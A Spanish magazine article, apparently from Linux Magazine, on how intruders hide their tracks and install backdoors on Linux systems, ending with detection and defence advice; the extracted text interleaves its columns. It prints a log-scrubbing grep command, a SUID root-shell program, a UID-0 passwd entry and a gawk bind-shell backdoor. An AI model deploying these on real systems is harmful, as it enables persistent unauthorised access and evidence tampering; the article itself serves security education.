Documentos de Académico
Documentos de Profesional
Documentos de Cultura
012-017 PasadizoLM29.crop
012-017 PasadizoLM29.crop
PASADIZOS
SECRETOS
Las puertas traseras proporcionan al atacante acceso ilimitado a un sis-
D
espués de lanzar con éxito un ata- piando el historial y manipulando archi- La Puerta Trasera
que, un hacker malintencionado vos de registro, o wtmp y utmp. Tras limpiar los archivos de registro e
no se sienta a descansar. Explotar 4. El intruso instala rootkits que ayuden a implementar las ofuscadoras utilidades del
una vulnerabilidad y conseguir acceso con mantener oculto el ataque. Gracias al rootki,t el atacante ya puede pasar a la
privilegios de root es sólo la mitad de la rootkit los administradores de la parte final: la instalación del troyano. La
historia. Como norma general, los atacan- máquina comprometida no pueden ver forma más simple de asegurarse el acceso
tes están más interesados en continuar los procesos, conexiones y archivos del es el mismo agujero de seguridad que se
explotando la máquina lanzando nuevos atacante. usó en un primer momento para entrar a la
ataques desde ella. Para facilitar las cosas, 5. El último paso es preparar una puerta máquina. Si ésta es actualizada solamente
tras el acceso inicial, normalmente un ata- trasera para facilitar el acceso. Los troya- de forma esporádica, como es el caso de
cante tratará de manipular la máquina víc- nos hacen que la máquina quede en muchos de los PCs domésticos o escolares,
tima. El proceso del ataque comprende manos del atacante, incluso en caso de puede resultar un método extremadamente
cinco fases distintas: que el agujero que le permitió entrar sea efectivo, ya que el rastro que deja es
1. El atacante explota un agujero de seguri- parcheado. mínimo.
dad local o remoto para hacerse con el La primera parte del ataque ya ha sido Esta forma de operar tiene una desven-
control de la computadora de la víctima. objeto de estudio, pero a menudo es difícil taja muy importante, y es que se corre el
2. Escala privilegios hasta conseguir el sta- hallar información sobre la parte final y peligro de perder el acceso a la máquina en
tus de administrador. El nivel de admi- crucial del troyano. ¿Qué significa que un caso de que la víctima instale una actuali-
nistrador es necesario para que el ata- atacante “instala una puerta trasera”? Este zación. Otro inconveniente es que normal-
cante pueda borrar archivos de registro o artículo explica las técnicas que usan los mente el agujero no dará al atacante acceso
instalar rootkits. atacantes a la hora de crear una puerta tra- a una terminal. Muchos intrusos profesio-
3. El atacante elimina cualquier rastro lim- sera en un sistema comprometido. nales preferirán cerrar el agujero usado
que la seguridad informática, hasta hace Otros troyanos locales toman la forma de
Limpieza de registros tan sólo unos pocos años, no se tomaba binarios modificados. Debido a que el
Lo primero que hace un hacker experi- tan en serio como hoy día. Bajo estas cir- código abierto es fácilmente accesible, no
mentado es eliminar rastros. La mejor cunstancias, las técnicas más simples es muy difícil para los hackers modificar
forma de llevarlo a cabo es con grep. solían ser las más efectivas, especialmente programas libres y usarlos para reemplazar
La opción -v suprime las líneas coinci-
cuando los atacantes podían contar con a los programas originales. De nuevo, esto
dentes con una expresión regular
una actitud descuidada en materia de sólo sirve si el programa se ejecuta con pri-
determinada. Por ejemplo, si necesita-
mos eliminar de un archivo de registro
seguridad por parte de los administrado- vilegios de root.
todas las líneas que contienen la direc- res. El troyano eject es un ejemplo de un tro-
ción IP 192.168.100.12: yano binario. Tecleando eject -t abrimos y
Troyanos Locales cerramos la bandeja del dispositivo de CD.
cat logfile | grep -v U
Un troyano local requiere que el atacante Una versión modificada de eject compro-
“192.168.100.12” U tenga acceso legítimo al sistema. Ha bará si está definida una variable determi-
>> logfile.mod habido pocos cambios en las técnicas tradi- nada y si el contenido de dicha variable
mv logfile.mod logfile cionales a lo largo de los años. Un troyano coincide con una contraseña proporcio-
Claro que este método no es seguro. local podría consistir en un programa en C nada con eject. En tal caso, la herramienta
Es bastante más fácil restaurar los o en un script que brinde al atacante el eject manipulada brindará una shell con
archivos usando alguna herramienta control de una shell con privilegios de root. privilegios de root al usuario que ejecuta el
forense. Por desgracia, este sistema Para esto, el script o el programa activa la binario. Como el parámetro -t cierra la ban-
tan simple consigue engañar a muchos marca SUID. Normalmente el programa deja, un usuario que se encuentre en las
administradores. Un hacker más minu- tiene un aspecto como éste: proximidades de la máquina víctima no se
cioso ejecutaría wipe sobre el archivo percatará del ataque.
original para eliminar el archivo en int main() {
lugar de sobreescribirlo. También nos setuid(0); Camuflaje de Contraseñas
puede servir alguna herramienta para
setgid(0); La puerta trasera más simple supone aña-
la limpieza de archivos de registro,
execl(“/bin/sh”,”ps”,”-i”,U dir un usuario con privilegios de root a
como la que encontramos en
NULL); /etc/passwd y/o /etc/shadow. El mejor sitio
Darklab.org [1].
return 0; para añadir una línea es a mitad del
} fichero, donde los administradores no sue-
para su entrada inicial a fin de evitar que len leer con detenimiento. Tras introducir
un script kiddie use la misma puerta para El comando setuid(0) especifica que el ID dicha línea, el fichero passwd podría tener
entrar y levante sospechas. del usuario será 0 (root), mientras que set- este aspecto:
A fin de garantizar un método de acceso gid(0) cambia el del grupo para que coin-
más fiable, muchos hackers instalan troya- cida. El programa abre entonces una shell ...
nos especiales. Se distinguen principal- que se muestra como ps en la lista de pro- hacker_malig:x:0:0:cuenta del U
mente dos categorías de troyanos: cesos. Normalmente los atacantes escon- hacker maligno:/root:/bin/bash
• Troyanos locales: Si un usuario ya tiene den estos scripts en lo más recóndito del ...
una cuenta en el sistema, no necesitará árbol de directorios para ejecutarlos cada
abrir ningún puerto. Bastará con que vez que quieran lanzar una shell como Al añadir una cuenta de usuario, el ata-
ingrese en el sistema y se concentre en root. cante ya no depende de un servicio deter-
la escalada de privilegios.
• Troyanos remotos: Si el hacker no tiene
una cuenta legítima en la máquina, el Troyano con Awk
troyano deberá proporcionarle acceso a 01 #!/usr/bin/gawk -f 12 # Leer comando
modo de shell remota. El hacker va a 02 BEGIN { 13 Service |& getline cmd
necesitar esta shell remota para no tener 03 Port = 8080 # Puerto en el que 14 if (cmd) {
que andar ejecutando a cada visita un
escuchar
exploit para el kernel u otro tipo de 15 while ((cmd |& getline) > 0
04 Prompt = “bkd> “ # El prompt
escalada de privilegios. 16 # Ejecutar comando,
La protección de los sistemas y los 05 # Abrir puerto de escucha
17 # devolver respuesta
mecanismos de seguridad han existido a 06 Service = “/inet/tcp/” Port
lo largo de los años, y los sistemas de pre- 18 print $0 |& Service
“/0/0”
vención y detección de intrusiones son 19 close(cmd)
07
hoy herramientas estándar.
08 while (1) { 20 }
Paralelamente, los troyanos se han
vuelto más sofisticados. Muchas de las 09 do { 21 } while (cmd != “exit”)
técnicas que los troyanos han heredado 10 # Mostrar prompt 22 close(Service)
parecen novedosas, si bien con capacidad
11 printf Prompt |& Service 23 }
retrospectiva; aunque conviene recordar
dor. Una gran ventaja de los troyanos web todo lo necesario para tener fácil acceso aceptan comandos incrustados en el
es que el acceso al servidor puede ser con- con cualquier navegador (Figura 1). código HTML. La ventaja es que la cone-
ducido a través de los servicios que ofrecen La shell oculta proporciona información xión se inicia desde dentro del perímetro
proveedores de anonimato como Tor o JAP. del sistema y ejecuta comandos arbitrarios de la red, lo que en muchos casos ayuda al
PHPremoteshell [3] es un ejemplo de este en la máquina víctima. Al mismo tiempo atacante a burlar el cortafuegos. El hecho
tipo de troyanos. El atacante sólo tiene que incluye un navegador que soporta la de que los comandos estén ocultos en el
ocultar el archivo PHP en las profundida- subida y descarga de archivos (Figura 2). código HTML es otra gran ventaja, ya que
des del sistema de ficheros del servidor y Algunos troyanos web establecen una hace que este código malicioso sea difícil
asignarle los permisos pertinentes. Eso es conexión con un servidor web maestro y de descubrir por los forenses. El “Reverse
circunstancias). Otra ventaja es que así el proceso. Si descubrimos un ps que ha deberán respetar la máxima de que se ha
troyano no es accesible para usuarios for- estado corriendo durante más de 12 horas, de denegar todo lo que no esté permitido
tuitos; para acceder por la puerta trasera podemos suponer que se trata de un pro- de forma explícita.
hay que proporcionar los valores correctos ceso malintencionado. También hay que Las reglas de cortafuegos que permiten
para el puerto, el número de secuencia y el tener en cuenta que un troyano simple cualquier tipo de tráfico saliente generado
ID. espera conexiones entrantes en un puerto en la red interna son una invitación a los
fijo. Dicho puerto aparecería en la salida de hackers para el uso de métodos de cone-
A la Caza de Puertas netstat. xión inversa.
Traseras De todas formas nunca se puede estar También es buena idea el uso de proxies
Siempre es bueno usar herramientas que del todo seguro, ya que los rootkits como y balanceo de carga. Si además se configu-
comprueban la integridad del sistema de Override también pueden ocultar puertos. ran los cortafuegos para que sólo permitan
ficheros, como Tripwire [12]. Tripwire El comando netstat -an | grep LISTEN | grep la comunicación con los proxies, los hac-
monitoriza archivos y directorios críticos -v LISTENING muestra el listado de puertos kers lo tendrán más difícil a la hora de
del sistema, calculando el checksum y abiertos. Los escáneres de puertos propor- encontrar un vector de ataque válido. Un
comparándolo con valores anteriores. Si cionan un método mucho más fiable a la atacante todavía podría inyectar un tro-
encuentra un cambio, Tripwire lo notificará hora de investigar puertos. yano web; aún así no tendría privilegios de
al administrador, lo que le permite determi- Los troyanos sniffer, la última tendencia, root ni soporte para terminal, algo poco
nar qué archivos fueron modificados, eli- son algo más complejo. netstat sólo mues- divertido para él. Hagas lo que hagas, ase-
minados o añadidos durante el transcurso tra la conexión cuando un cliente está gúrate de eliminar de tus configuraciones
del ataque. conectado, aunque realmente puede que ni todas las opciones y servicios que no vayas
Tripwire no nos sirve en los escenarios siquiera haya un puerto abierto. En otras a necesitar. ■
donde el atacante ha eliminado el binario palabras netstat no nos sirve de ayuda en
tras ejecutar el troyano, ya que la herra- estos casos, especialmente si se establece
RECURSOS
mienta se encontraría en la memoria y no una conexión saliente desde la red local
[1] Limpiador de archivos de registro:
en el disco. Aunque al reiniciar se elimina- (conexión inversa), tampoco nos serviría
http://darklab.org/~jot/logclean-ng/
ría el troyano de la memoria, Tripwire y un escáner de puertos.
logcleaner-ng.html
herramientas similares no podrían detectar El único método efectivo en estos esce-
[2] Loki 2: http://artofhacking.com/files/
el ataque. narios es usar herramientas de monitoriza-
phrack/phrack51/live/aoh_p51-06.
También es bueno comprobar con fre- ción de tráfico como tcpdump o ethereal
htm
cuencia los archivos /etc/shadow, /etc/ [15]. Debido a que un troyano sniffer usa
passwd y /etc/inetd.conf. Puedes hacerlo un procedimiento fijo para saber si un [3] Phpremoteshell, por Emmanuel
simplemente con diff, comparándolos con paquete va dirigido a él o no, sólo podre- Saracco: http://labs.libre-entreprise.
una copia guardada en un medio prote- mos detectarlo buscando patrones repetiti- org
gido. vos en el tráfico de la red. [4] rwwwshell Van Hauser: http://
Si tu servidor SSH permite el ingreso Después de todo, es bastante improbable gray-world.net/papers/rwwwshell.txt
basado en clave, comprueba que el archivo que un puerto use un número de secuencia [5] bindtty: http://www.2701.org/
authorized_keys no contenga entradas y un ID idénticos cada vez. Podemos hallar archive/200311240000.html
nocivas. En ese caso el atacante ni siquiera fácilmente anomalías en el tráfico de la red [6] Silentdoor, por Brandon Edwards:
necesitaría clave para acreditarse. De mediante la definición de reglas que nos http://www.megasecurity.org/
nuevo, para archivos más grandes, diff [13] permitan comprobar si se da o no el caso . trojans/s/silentdoor/Silentdoor.html
es una buena opción. Los sistemas IPS e IDS también pueden [7] TCPDump: http://www.tcpdump.org/
Otra medida de protección es buscar ayudar a la hora de encontrar troyanos
[8] Safebreaker, por Amir Alsbih: http://
regularmente archivos SUID que pudieran conocidos.
www.informatik.uni-freiburg.de/
ser usados como troyano. La forma más
~alsbiha
fácil de hacerlo es mediante el comando Defensa
[9] OpenSSL: http://www.openssl.org
find / -type f -perm -04000 -ls -uid 0 2 > No hay una solución única para todos los
/dev/null. tipos de puerta trasera. Si un atacante con- [10] GnuTLS: http://www.gnu.org/
Ya que una puerta trasera es indepen- sigue instalar una puerta trasera en un sis- software/gnutls/
diente, también lo será el proceso encar- tema es porque dicho sistema tenía algún [11] Cryptlib, por Peter Gutmann: http://
gado de crearla, por tanto su ID y su nom- agujero de seguridad. Un buen troyano www.cs.auckland.ac.nz/~pgut001/
bre aparecerán en el listado de procesos, a siempre necesita privilegios de root. En cryptlib/
menos que lo oculte un rootkit como Ove- cuanto un atacante consigue privilegios de [12] Tripwire: http://sourceforge.net/
rride [14]. Por eso la mayoría de troyanos root, se puede considerar que el sistema projects/tripwire/
se esconden detrás de nombres aparente- está “enfermo”. Para reforzar nuestra pro- [13] Diffutils: http://www.gnu.org/
mente inofensivos como ps. Es fácil modifi- tección frente a los troyanos necesitamos software/diffutils/diffutils.html
car el nombre del programa sobreescri- un diseño de seguridad sólido, así como
[14] Override rootkit: http://www.
biendo argv [0]. Por otro lado, este tipo de parchear el sistema regularmente. Unas
informatik.uni-freiburg.de/~alsbiha
camuflaje es bastante trivial. Sólo hay que buenas reglas de cortafuegos también pue-
[15] Ethereal: http://www.ethereal.com
comprobar el tiempo de duración total del den contribuir a la seguridad. Dichas reglas